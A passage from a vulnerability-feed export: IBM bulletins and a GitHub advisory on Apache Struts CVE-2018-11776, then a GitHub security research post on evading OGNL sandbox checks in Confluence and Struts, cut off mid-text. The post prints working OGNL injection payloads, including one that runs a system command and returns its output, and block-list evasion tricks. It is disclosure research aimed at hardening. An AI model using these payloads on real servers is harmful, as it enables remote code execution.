(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Content Collector for Email - 4.0.1 \nIBM Content Collector for File Systems - 4.0.1 \nIBM Content Collector for SharePoint - 4.0.1 \nIBM Content Collector for IBM Connections - 4.0.1\n\n## Remediation/Fixes\n\n**Product** | **VRM** | **Remediation** \n---|---|--- \nIBM Content Collector for Email | 4.0.1 | \n\nUse IBM Content Collector for Email 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for Email 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for Email 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for Email 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \nIBM Content Collector for File Systems | 4.0.1 | \n\nUse IBM Content Collector for File Systems 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for File Systems 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for File Systems 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for File Systems 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \nIBM Content Collector for SharePoint | 4.0.1 | \n\nUse IBM Content Collector for SharePoint 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for SharePoint 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for SharePoint 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector for SharePoint 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \nIBM Content Collector for IBM Connections | 4.0.1 | \n\nUse IBM Content Collector IBM Connections 4.0.1.5 [Interim Fix 003](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.5&platform=ALL&function=fixId&fixids=4.0.1.5-IBM-ICC-IF003&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector IBM Connections 4.0.1.6 [Interim Fix 00](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FContent+Collector&fixids=4.0.1.6-IBM-ICC-IF001&source=SAR&function=fixId&parent=Enterprise%20Content%20Management>)[2](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.6&platform=ALL&function=fixId&fixids=4.0.1.6-IBM-ICC-IF002&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector IBM Connections 4.0.1.7 [Interim Fix 001](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.7&platform=ALL&function=fixId&fixids=4.0.1.7-IBM-ICC-IF001&includeRequisites=1&includeSuperse>)\n\nUse IBM Content Collector IBM Connections 4.0.1.8 [Interim Fix 007](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Enterprise+Content+Management&product=ibm/Information+Management/Content+Collector&release=4.0.1.8&platform=ALL&function=fixId&fixids=4.0.1.8-IBM-ICC-IF007&includeRequisites=1&includeSuperse>) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-11-12T12:55:02", "type": "ibm", "title": "Security Bulletin: Content Collector for Email, File Systems, Microsoft SharePoint and IBM Connections are affected by a publicly disclosed vulnerability found by vFinder: Eclipse Jetty", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-11-12T12:55:02", "id": "BF4651008A331C7D796A1E09F830D542352CF251871DBEED396D2CE654058F5A", "href": "https://www.ibm.com/support/pages/node/730391", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:46:41", "description": "## Summary\n\nIBM Sterling Order Management uses Apache Struts 2 and is affected by some of the vulnerabilities that exist in Apache Struts 2\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Sterling Selling and Fulfillment Foundation 9.1.0 through 9.5.0 \n\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the security fix pack (SFP) as soon as practical. Please see below for information about the available fixes. \n\n**_Product_**\n\n| \n\n**_Security Fix Pack*_**\n\n| \n\n_Remediation/First Fix_ \n \n---|---|--- \n \nIBM Sterling Selling and Fulfillment Foundation 9.5.0\n\n| \n\n**_9.5.0-SFP3_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF_** \n \nIBM Sterling Selling and Fulfillment Foundation 9.4.0\n\n| \n\n**_9.4.0-SFP4_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF_** \n \nIBM Sterling Selling and Fulfillment Foundation 9.3.0\n\n| \n\n**_9.3.0-SFP6_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF_** \n \nIBM Sterling Selling and Fulfillment Foundation 9.2.1\n\n| \n\n**_9.2.1- SFP7_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF _** \n \nIBM Sterling Selling and Fulfillment Foundation 9.2.0\n\n| \n\n**_9.2.0- SFP7_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF _** \n \nIBM Sterling Selling and Fulfillment Foundation 9.1.0\n\n| \n\n**_9.1.0- SFP7_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF _** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-17T15:25:01", "type": "ibm", "title": "Security Bulletin: Apache Struts Vulnerability Can Affect IBM Sterling Order Management (CVE-2018-11776)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-10-17T15:25:01", "id": "20D334DF630C3C7B5490CC97E9EB2E76B4108FD56753DB19039AF6E0DE79CB63", "href": "https://www.ibm.com/support/pages/node/730273", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:44:34", "description": "## Summary\n\nThere is a vulnerability in Apache Struts which the IBM FlashSystem\u2122 V840 is susceptible. An exploit of that vulnerability (CVE-2018-11776) could make the system susceptible to attacks which could allow an attacker to execute arbitrary code on the system.\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nStorage Node machine type and models (MTMs) affected:9840-AE1 and 9843-AE1\n\nController Node MTMs affected: 9846-AC0, 9848-AC0, 9846-AC1, and 9848-AC1\n\nSupported storage node code versions which are affected\n\n * VRMFs prior to 1.4.8.1\n * VRMFs prior to 1.5.2.1\n\nSupported controller node code versions which are affected\n\n * VRMFs prior to 7.8.1.8\n * VRMFs prior to 8.1.3.4\n\n## Remediation/Fixes\n\nMTMs | VRMF | APAR | Remediation/First Fix \n---|---|---|--- \n \n**Storage nodes**:\n\n9846-AE1 & 9848-AE1\n\n**Controller nodes**:\n\n9846-AC0, 9846-AC1, 9848-AC0, & 9848-AC1\n\n| \n\nCode fixes are now available, the minimum VRMF containing the fix depending on the code stream:\n\n_Fixed Code VRMF_\n\n1.5 stream: 1.5.2.1\n\n1.4 stream: 1.4.8.1\n\n_Controller Node VRMF_\n\n8.1 stream: 8.1.3.4\n\n7.8 stream: 7.8.1.8\n\n| N/A | FlashSystem V840 fixes for storage node are available @ IBM's Fix Central \n \n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-02-18T15:05:01", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem V840", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2019-02-18T15:05:01", "id": "47D48C5A9F3802E168F3775B67FEF0A4B25692C1BE0EB29698F35ECDF8F0CD7B", "href": "https://www.ibm.com/support/pages/node/735023", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "github": [{"lastseen": "2023-12-01T17:29:59", "description": "Apache Struts contains a Remote Code Execution when using results with no namespace and it's upper actions have no or wildcard namespace. The same flaw exists when using a url tag with no value, action set, and it's upper actions have no or wildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-18T19:24:38", "type": "github", "title": "Apache Struts vulnerable to remote command execution (RCE) due to improper input validation", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-11-04T05:05:10", "id": "GHSA-CR6J-3JP9-RW65", "href": "https://github.com/advisories/GHSA-cr6j-3jp9-rw65", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-27T17:06:16", "description": "## Overview[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#overview>)\n\nObject Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. In the past, OGNL injections led to some serious remote code execution (RCE) vulnerabilities, such as the [Equifax breach](<https://www.synopsys.com/blogs/software-security/equifax-apache-struts-vulnerability-cve-2017-5638/>), and over the years, protection mechanisms and mitigations against OGNL injections have been developed and improved to limit the impact of these vulnerabilities.\n\nIn this blog post, I will describe how I was able to bypass certain OGNL injection protection mechanisms, including the one used by Struts and the one used by Atlassian Confluence. The purpose of this blog post is to share different approaches used when analyzing this kind of protection so they can be used to harden similar systems.\n\nNo new OGNL injections are being reported as part of this research, and unless future OGNL injections are found on the affected frameworks/applications, or known double evaluations affect an existing Struts application, this research does not constitute any immediate risk for Apache Struts or Atlassian Confluence.\n\n## Hello OGNL, my old friend[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#hello-ognl-my-old-friend>)\n\nI have a past history of bugs found in Struts framework, including [CVE-2016-3087](<https://cwiki.apache.org/confluence/display/WW/S2-033>), [CVE-2016-4436](<https://cwiki.apache.org/confluence/display/WW/S2-035>), [CVE-2017-5638](<https://cwiki.apache.org/confluence/display/WW/S2-046>), [CVE-2018-1327](<https://cwiki.apache.org/confluence/display/WW/S2-056>), [CVE-2020-17530](<https://cwiki.apache.org/confluence/display/WW/S2-061>) and even some [double OGNL injections](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) through both Velocity and FreeMarker tags that remain unfixed to this date. Therefore, I have become familiar with the OGNL sandbox and different escapes over the years and I am still interested in any OGNL-related vulnerabilities that may appear. That was the case with Atlassian Confluence, [CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>) and [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>), where the former is an instance of the unresolved double evaluation via Velocity tags mentioned in my [2020 advisory](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nMy friend, Man Yue Mo, wrote a [great article](<https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/>) describing how the OGNL mitigations have been evolving over the years and there are few other posts that also describe in detail how these mitigations have been improving.\n\nIn 2020, disabling the sandbox became harder, so I decided to change the approach completely. I introduced new ways to get RCE by circumventing the sandbox, and using the application server\u2019s Instance Manager to instantiate arbitrary objects that I could use to achieve RCE. This research was presented at our Black Hat 2020 talk, [Scribbling outside of template security](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>). We reported this issue to the Apache Struts team, and they [fixed](<https://github.com/apache/struts/commit/8d3393f09a06ff4a2b6827b6544524d1d6af3c7c>) the issue by using a block list. However, in 2021, Chris McCown published a [new bypass technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>) which leverages the OGNL\u2019s AST maps and the Apache Commons Collections BeanMap class.\n\nThat was it\u2013at that point I had enough of OGNL and stopped looking into it until two events happened in the same week:\n\n * My friend, [Mert](<https://twitter.com/mertistaken>), found what he thought was an SSTI in a bug bounty program. It turned out to be an OGNL injection, so he asked me to help him with the exploitation of the issue.\n * I read several tweets claiming that [CVE-2022-26134](<https://jira.atlassian.com/browse/CONFSERVER-79016>) was not vulnerable to RCE on the latest Confluence version (7.18.0 at that time).\n\nOkay, OGNL, my old friend. Here we go again.\n\n## Looking at Confluence `isSafeExpression` protection[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-at-confluence-issafeexpression-protection>)\n\nWhen the CVE-2022-26134 was released there was an initial understanding that the [OGNL injection could not lead to direct RCE in the latest version 7.18.0](<https://twitter.com/httpvoid0x2f/status/1532924239216627712>) since the `isSafeExpression` method was not possible to bypass for that version\n\n\n\nHarsh Jaiswal ([@rootxharsh](<https://twitter.com/rootxharsh>)) and Rahul Maini ([@iamnoooob](<https://twitter.com/iamnoooob>)) took a different approach and looked for a gadget chain in the allowed classes list that could allow them to create an admin account.\n\n\n\nSoon after, [@MCKSysAr](<https://twitter.com/MCKSysAr>) found a [nice and simple bypass](<https://twitter.com/MCKSysAr/status/1533053536430350337>):\n\n 1. Use `Class` property instead of `class` one.\n 2. Use string concatenation to bypass string checks.\n\n \n \n\n\nMCKSysAr\u2019s bypass was soon addressed by blocking the access to the `Class` and `ClassLoader` properties. I had some other ideas, so I decided to take a look at the `isSafeExpression` implementation.\n\nThe first interesting thing I learned was that this method was actually parsing the OGNL expression into its AST form in order to analyze what it does and decide whether it should be allowed to be executed or not. Bye-bye to regexp-based bypasses.\n\nThen the main logic to inspect the parsed tree was the following:\n\n * Starting at the root node of the AST tree, recursively call `containsUnsafeExpression()` on each node of the tree.\n * If the node is an instance of `ASTStaticField`, `ASTCtor` or `ASTAssign` then the expression is deemed to be unsafe. This will prevent payloads using the following vectors: \n * Static field accesses\n * Constructors calls\n * Variable assignments\n * If the node is an `ASTStaticMethod` check that the class the method belongs to is in an allow list containing: \n * `net.sf.hibernate.proxy.HibernateProxy`\n * `java.lang.reflect.Proxy`\n * `net.java.ao.EntityProxyAccessor`\n * `net.java.ao.RawEntity`\n * `net.sf.cglib.proxy.Factory`\n * `java.io.ObjectInputValidation`\n * `net.java.ao.Entity`\n * `com.atlassian.confluence.util.GeneralUtil`\n * `java.io.Serializable`\n * If node is an `ASTProperty` checks block list containing (after the initial fix): \n * `class`\n * `Class`\n * `classLoader`\n * `ClassLoader`\n * If the property looks like a class name, check if the class's namespace is defined in the `unsafePackageNames` block list (too long to list here).\n * If node is an `ASTMethod`, check if we are calling `getClass` or `getClassLoader`.\n * If node is an `ASTVarRef`, check if the variable name is in `UNSAFE_VARIABLE_NAMES` block list: \n * `#application`\n * `#parameters`\n * `#request`\n * `#session`\n * `#_memberAccess`\n * `#context`\n * `#attr`\n * If node in an `ASTConst` (eg: a string literal), call `isSafeExpressionInternal` which will check the string against a block list (for example, harmful class names) and, in addition, it will parse the string literal as an OGNL expression and apply the `containsUnsafeExpression()` recursive checks on it.\n * If a node has children, repeat the process for the children.\n\nThis is a pretty comprehensive control since it parses the AST recursively and makes sure that any AST nodes considered harmful are either rejected or inspected further.\n\nMCKSysAr bypass was based on two things: A) `Class` and `ClassLoader` properties were not accounted for when inspecting `ASTProperty` nodes; and B) `\u201djava.lang.\u201d + \u201cRuntime\u201d` was parsed as an `ASTAdd` node with two `ASTConst` children. None of them matched any of the known harmful strings and when parsed as an OGNL expression, none of them were valid expressions so they were not parsed further. A) Was fixed quickly by disallowing access to `Class` and `ClassLoader` properties, but B) was not fixed since it was considered as a security in-depth control (it's impossible to analyze all variants in which a malicious string could be written).\n\nWith that in mind I took a look at the[ list of the OGNL AST nodes](<https://github.com/orphan-oss/ognl/tree/master/src/main/java/ognl>) to see if there was anything interesting that was not accounted for in the `isSafeExpression()` method.\n\n### Enter `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-asteval>)\n\nThe first one that got my attention was `ASTEval`. It looked very interesting and it was not accounted for by the `containsUnsafeExpression()` method.\n\n`ASTEval` are nodes in the form of `(expr)(root)` and they will parse the `expr` string into a new AST and evaluate it with `root` as its root node. This will allow us to provide an OGNL expression in the form of a string `(ASTConst)` and evaluate it! We know that `ASTConst` nodes are parsed as OGNL expressions and verified to not be harmful. However, we already saw that if we split the string literal in multiple parts, only the individual parts will be checked and not the result of the concatenation. For example, for the payload below `#application` will never get checked, only `#` and `application` which are deemed to be safe:\n\n \n \n\n\nAs you can see in the resulting tree, there are no hints of any `ASTVarRef` node and therefore access to `#application` is granted.\n\n### Weaponizing `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#weaponizing-asteval>)\n\nThere are multiple ways to craft a payload levering this vector. For example, we could get arbitrary RCE with echoed response:\n \n \n ('(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@get'+'Runtime().exec(\"id\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))')('')\n \n \n\n\n\n### Enter `ASTMap`, `ASTChain` and `ASTSequence`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-astmap-astchain-and-astsequence>)\n\nI was already familiar with `ASTMap`s from reading [Mc0wn's great article](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). In a nutshell, OGNL allows developers to instantiate any `java.util.Map` implementation by using the `@<class_name>@{}` syntax.\n\nUsing this technique, we were able to use a `BeanMap` (a map wrapping a Java bean and exposing its getters and setters as map entries) to bypass the `getClass` limitation by rewriting the payload as:\n \n \n \n BeanMap map = @org.apache.commons.beanutils.BeanMap@{};\n \n map.setBean(\u201c\u201d)\n \n map.get(\u201cclass\u201d).forName(\u201djavax.script.ScriptEngineManager\u201d).newInstance().getEngineByName(\u201cjs\u201d).eval(payload)\n \n \n\nThis payload avoids calling the `BeanMap` constructor explicitly and, therefore, gets rid of the `ASTCtor` limitation. In addition, it allows us to call `Object.getClass()` implicitly by accessing the `class` item. However, we still have another problem: we need to be able to assign the map to a variable (`map`) so we can call the `setBean()` method on it and later call the `get()` method on the same map. Since `ASTAssign` was blocked, assignments were not an option. Fortunately, looking through the list of AST nodes, two more nodes got my attention: `ASTChain` and `ASTSequence`.\n\n * `ASTChain` allows us to pass the result of one evaluation as the root node of the next evaluation. For example: `(one).(two)` will evaluate `one` and use its result as the root for the evaluation of `two`.\n * `ASTSequence` allows us to run several evaluations on the same root object in sequence. For example: `one, two` will evaluate `one` and then `two` using the same root node.\n\nThe idea was to bypass `ASTAssign` constraint by combining `ASTChain` and `ASTSequence` together\n\nWe can set the map returned by the `ASTMap` expression as the root for a sequence of expressions so all of them will have the map as its root object:\n \n \n \n (#@BeanMap@{}).(expression1, expression2)\n \n \n\nIn our case, `expression1` is the call to `setBean()` and `expression2` is the call to `get()`.\n\nTaking that into account and splitting literal strings into multiple parts to bypass the block list we got the following payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@{}).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nThe final AST tree bypassing all `isSafeExpression` checks is:\n\n \n \n\n\nThere was a final problem to solve. The OGNL injection sink was `translateVariable()` which resolves OGNL expressions wrapped in `${expressions}` delimiters. Therefore, our payload was not allowed to contain any curly brackets. Fortunately, for us, [OGNL will replace unicode escapes](<https://github.com/apache/commons-ognl/blob/master/src/main/jjtree/ognl.jjt#L36-L37>) for us so we were able to use the final payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@\\\\u007b\\\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nI submitted these bypasses to Atlassian through its bug bounty program and, even though I was not reporting any new OGNL injections but a bypass of its sandbox, they were kind enough to award me with a $3,600 bounty!\n\n## Looking into Struts2[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-into-struts2>)\n\nAs mentioned before, a friend found what he thought was a Server-Side Template Injection (SSTI) (`%{7*7}` => 49) but it turned out to be an OGNL injection. Since this happened as part of a bug bounty program, I didn\u2019t have access to the source code. I can't be sure if the developers were passing untrusted data to an OGNL sink (for example, `[ActionSupport.getText()](<https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionSupport.html#getText-java.lang.String->)`), or if it was some of the [unfixed double evaluations issues](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) (still working at the time of writing). Anyhow, the application seemed to be using the latest Struts version and known payloads were not working. I decided to take a deeper look.\n\n### New gadgets on the block[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#new-gadgets-on-the-block>)\n\nWhen I listed what objects were available I was surprised to find that many of the usual objects in the Struts OGNL context, such as the value stack, were not there, and some others I haven't seen before were available. One of such objects was `#request[\u2018.freemarker.TemplateModel\u2019]`. This object turned out to be an instance of `org.apache.struts2.views.freemarker.ScopesHashModel` containing a variety of new objects. One of them (stored under the `ognl` key) 